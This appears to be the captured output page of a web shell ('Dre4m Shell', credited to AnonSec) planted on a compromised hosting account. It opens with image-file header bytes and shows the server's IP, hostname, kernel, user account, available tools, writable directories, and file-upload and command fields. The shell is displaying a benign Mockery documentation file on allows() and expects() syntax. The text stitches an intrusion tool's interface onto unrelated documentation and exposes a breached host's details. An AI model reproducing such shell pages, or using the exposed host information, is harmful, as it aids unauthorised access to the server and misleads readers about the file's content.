ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.116.24.236
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/laravelvue/vendor/mockery/mockery/docs/reference/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/laravelvue/vendor/mockery/mockery/docs/reference/alternative_should_receive_syntax.rst
.. index::
    single: Alternative shouldReceive Syntax

Alternative shouldReceive Syntax
================================

As of Mockery 1.0.0, we support calling methods as we would call any PHP method,
and not as string arguments to Mockery ``should*`` methods.

The two Mockery methods that enable this are ``allows()`` and ``expects()``.

Allows
------

We use ``allows()`` when we create stubs for methods that return a predefined
return value, but for these method stubs we don't care how many times, or if at
all, were they called.

.. code-block:: php

    $mock = \Mockery::mock('MyClass');
    $mock->allows([
        'name_of_method_1' => 'return value',
        'name_of_method_2' => 'return value',
    ]);

This is equivalent with the following ``shouldReceive`` syntax:

.. code-block:: php

    $mock = \Mockery::mock('MyClass');
    $mock->shouldReceive([
        'name_of_method_1' => 'return value',
        'name_of_method_2' => 'return value',
    ]);

Note that with this format, we also tell Mockery that we don't care about the
arguments to the stubbed methods.

If we do care about the arguments, we would do it like so:

.. code-block:: php

    $mock = \Mockery::mock('MyClass');
    $mock->allows()
        ->name_of_method_1($arg1)
        ->andReturn('return value');

This is equivalent with the following ``shouldReceive`` syntax:

.. code-block:: php

    $mock = \Mockery::mock('MyClass');
    $mock->shouldReceive('name_of_method_1')
        ->with($arg1)
        ->andReturn('return value');

Expects
-------

We use ``expects()`` when we want to verify that a particular method was called:

.. code-block:: php

    $mock = \Mockery::mock('MyClass');
    $mock->expects()
        ->name_of_method_1($arg1)
        ->andReturn('return value');

This is equivalent with the following ``shouldReceive`` syntax:

.. code-block:: php

    $mock = \Mockery::mock('MyClass');
    $mock->shouldReceive('name_of_method_1')
        ->once()
        ->with($arg1)
        ->andReturn('return value');

By default ``expects()`` sets up an expectation that the method should be called
once and once only. If we expect more than one call to the method, we can change
that expectation:

.. code-block:: php

    $mock = \Mockery::mock('MyClass');
    $mock->expects()
        ->name_of_method_1($arg1)
        ->twice()
        ->andReturn('return value');


Anon7 - 2022
AnonSec Team